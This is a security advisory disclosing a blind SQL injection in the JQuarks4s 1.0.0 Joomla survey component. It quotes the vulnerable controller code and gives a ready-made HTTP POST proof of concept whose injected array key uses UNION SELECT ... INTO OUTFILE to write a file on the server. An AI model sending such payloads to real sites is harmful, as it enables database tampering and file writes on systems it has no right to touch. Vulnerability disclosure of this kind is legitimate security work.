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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | JQuarks4s Joomla Component 1.0.0 Blind SQL Injection Vulnerability NameJQuarks4s Vendorhttp://www.iptechinside.com/labs/projects/list_files/jquarks-for-surveys Versions Affected 1.0.0 AuthorSalvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date2010-11-08 X. INDEX I.ABOUT THE APPLICATION II. DESCRIPTION III.ANALYSIS IV. SAMPLE CODE V.FIX I. ABOUT THE APPLICATION ________________________ A Joomla 1.5 free and open source tool for online surveys and statistical analysis. II. DESCRIPTION _______________ A parameter is not properly sanitised beforebeingused in a SQL query. III. ANALYSIS _____________ Summary: A) Blind SQL Injection A) Blind SQL Injection _______________________ Inputpassedtothe"q" parameterin when "option" is set to "com_jquarks4s" and "task" to "submitSurvey" is not properly verified beforebeingused in a SQL query. Thiscanbeexploited tomanipulateSQLqueriesby injecting arbitrary SQL code. The following is the vulnerable code (controller.php): function submitSurvey() { // get post data $data = JRequest::get('post'); ... $questions = $data['q']; // debug //var_dump($data);exit; foreach ($questions as $question_id => $question) : $type_id = (int)$question['type_id']; switch ($type_id) : ... case 4: // recuperer les row_id du question_id $rowsDB = $sessionModel->getRows($question_id); So,$question_idisa key of the array "q" and type_id his value. Thereforetheinjection is possibileby insertingarbitrary SQL code as the key of the array and 4 as his value. IV. SAMPLE CODE _______________ A) Blind SQL Injection Trytosend the following packet to yourtestserver. Ensure thatmagic_quotes_gpcisset to off in order to use the following test. POST /path/index.php HTTP/1.1 Host: target Content-Type: application x-www-form-urlencoded Content-Length: 97 option=com_jquarks4s&task=submitSurvey&q[-1 UNION SELECT 0x414141 INTO OUTFILE '/tmp/trycopy' ]=4 Note that if you want to use the '=' character, youmust covert it in URL encode format (%3D), otherwise the value 4 needed for the injection cannot be read. V. FIX ______ No fix. |
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